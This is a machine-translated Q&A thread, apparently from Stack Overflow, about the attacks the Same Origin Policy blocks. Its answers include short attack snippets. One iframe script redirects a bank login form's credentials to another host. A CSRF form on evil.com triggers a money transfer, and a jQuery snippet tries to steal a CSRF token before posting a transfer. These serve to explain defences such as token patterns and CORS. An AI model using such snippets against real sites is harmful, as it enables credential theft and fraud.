我读过关于Same Origin Policy
,但为了更好地理解这个问题:任何人都可以写一个简单的代码(用任何语言)来演示 SOP 停止的攻击吗?
在 SOP 出现之前,怎么可能攻击某人?
我读过关于Same Origin Policy
,但为了更好地理解这个问题:任何人都可以写一个简单的代码(用任何语言)来演示 SOP 停止的攻击吗?
在 SOP 出现之前,怎么可能攻击某人?
<iframe id="bank" src="https://yourbank.com"></iframe>
<script>
window.onload = function() {
document.getElementById('bank').contentWindow.document.forms[0].action =
'http://example.com';
};
</script>
Javascript 代码更改了表单的操作属性(可以说是目的地),因此当您提交表单时,您会将凭据发送给我,而不是您的银行。
如果我在我的服务器上设置一个 PHP 脚本将您重定向到您的银行,您甚至不会注意到它。
使用同源策略,这种攻击是不可能的。我域中的站点无法读取或修改银行网站的内容。
攻击示例 1:使用 HTML 表单的跨站请求伪造 (CSRF)
在evil.com
攻击者的页面上放了:
<form method="post" action="http://bank.com/trasfer">
<input type="hidden" name="to" value="ciro">
<input type="hidden" name="ammount" value="100000000">
<input type="submit" value="CLICK TO CLAIM YOUR PRIZE!!!">
</form>
如果没有进一步的安全措施,这将:
bank.com
它包括您从中登录的身份验证 cookie它是同步器令牌模式,单独,即使没有 SOP,也阻止了它的工作。
同步器令牌模式
对于 上bank.com
的每一个表单,开发者都会生成一个一次性随机序列作为隐藏参数,并且只有在服务器获取到参数时才接受请求。
例如,Rails 的 HTML 助手会自动向authenticity_token
HTML 添加一个参数,因此合法的表单如下所示:
<form action="http://bank.com/transfer" method="post">
<p><input type="hidden" name="authenticity_token"
value="j/DcoJ2VZvr7vdf8CHKsvjdlDbmiizaOb5B8DMALg6s=" ></p>
<p><input type="hidden" name="to" value="ciro"></p>
<p><input type="hidden" name="ammount" value="100000000"></p>
<p><button type="submit">Send 100000000$ to Ciro.</button></p>
</form>
如前所述:了解 Rails Authenticity Token
所以如果evil.com
发出一个单次请求,他永远猜不到那个令牌,服务器会拒绝交易!
另请参阅:OWASP 的同步器令牌模式。
攻击示例 2:使用 JavaScript AJAX 的跨站请求伪造 (CSRF)
但是,是什么阻止了evil.com
使用 JavaScript 发出 2 个请求,就像合法浏览器会做的那样:
所以evil.com
会尝试这样的事情(jQuery 因为懒惰):
$.get('http://bank.com/transfer')
// Parse HTML reply and extract token.
$.post('http://bank.com/transfer', {
to: 'ciro',
ammount: '100000000',
authenticity_token: extracted_token
})
这就是 SOP 发挥作用的地方。尽管$.get
和$.post
确实像 HTML 表单一样发送经过身份验证的请求,但发送者的浏览器阻止 JavaScript 代码读取 HTML 回复,因为请求被发送到单独的域!
Chromium 开发者控制台显示一个错误类型:
从源“http://evil.com”访问“http://bank.com”中的 XMLHttpRequest 已被 CORS 策略阻止:请求的资源上不存在“Access-Control-Allow-Origin”标头。
已在以下位置询问:为什么我的 JavaScript 代码会收到“请求的资源上不存在“访问控制允许来源”标头”错误,而邮递员却没有?
为什么不直接发送交叉请求 cookie 呢?
我在问自己:但是如果实现有这样的规则:“允许任何请求,但只在当前域 XHR 上发送 cookie”怎么办?
但这仍然允许另一种类型的攻击:当身份验证不是基于 cookie,而是基于请求的源 (IP) 时。
例如,您在公司的 Intranet 中,您可以从那里访问内部服务器,该服务器从外部不可见并提供秘密数据。
是否禁止所有跨域请求?
即使忘记 CORS,不,我们每天都在做!
来自MDN:
通常允许跨域写入:链接、重定向和表单提交。
通常允许跨域嵌入:图像、外部 CSS 和 Javascript、iframe。
通常不允许跨域读取:XHR(上面的示例),iframe
读取。
但是,读取访问权限通常会因嵌入而泄露。例如,您可以读取嵌入图像的宽度和高度、嵌入脚本的操作或嵌入资源的可用性(因此可能会在用户登录或未登录给定域的情况下)
其他预防方法
X-Requested-With
: - X-Requested-With 标头有什么意义?
- https://security.stackexchange.com/questions/23371/csrf-protection-with-custom-headers-and-without-validating-token
- X-Requested-With 标头服务器检查是否足以防止 CSRF ajax 驱动的应用程序?Origin
标头的值:https ://security.stackexchange.com/questions/91165/why-is-the-synchronizer-token-pattern-preferred-over-the-origin-header-check-to其他预防方法:智威汤逊
JSON Web Token是 2020 年左右 cookie + 同步器令牌模式的相当流行的替代方案。
这个方法的作用是:
window.localStorage
Authentication: <token>
。请注意,这只能通过 JavaScript 完成。此方法之所以有效,是因为与 cookie 不同,localStorage
它仅在您从网站本身(通过 JavaScript)发出请求时可用,从而分配同步器令牌。
然后,当用户第一次访问该网站时,他们最初会被注销,并显示一个虚拟加载页面。
然后浏览器运行刚刚从服务器接收到的 JavaScript,读取localStorage
(现在我们已经在正确的域中)并向 API 路径发送经过身份验证的 GET 请求,以仅获取没有 HTML 的数据,通常为 JSON。
最后,JavaScript 在浏览器上呈现该数据。
由于单页应用程序的流行,这种方法变得特别流行,其中最简单的实现方法是这个两步获取虚拟页面,然后用 API 数据填充它。
所以这基本上进行了权衡:
也可以看看
除了上面的答案,浏览器实际上对不同的跨域请求采取了不同的操作。
对于不进行潜在危险更改的请求(那些所谓的“简单”请求,例如,带有允许标头的 GET 请求),浏览器将继续向跨域站点发出请求并检查响应标头如果Access-Control-Allow-Origin
存在。否则,脚本将无法访问该响应的任何内容。
对于这种情况,一个示例可能是,SOP 阻止攻击者向您发送网络钓鱼网页,并使用您的 cookie 从那里向您的银行网站发出 GET 请求,以获取访问您帐户的令牌。
对于可能进行潜在危险更改的请求(那些所谓的“预检”请求,例如 PUT 请求),浏览器将首先尝试使用OPTIONS 方法向跨域站点发出请求。如果允许发出实际请求,此请求将与跨域站点进行检查。如果没有,浏览器甚至不会发送实际请求。
对于这种情况,一个示例可能是,SOP 阻止攻击者使用您的 cookie 向您的银行网站发出 PUT 请求以修改您的密码。
有关浏览器如何确定请求是否“简单”等详细信息,请参阅https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS。
Also, since both scenarios involve using cookies from cross-domain website, why not just ban cookie usage when cross domain requests are made? 1. As pointed out by Ciro, the authentication may be based on IP address, instead of cookies. In that case, ban cookie usage won't help. 2. In other scenarios, for example, you actually own both sites, it may be useful to set cookies using one site, and make requests from another site using those cookies.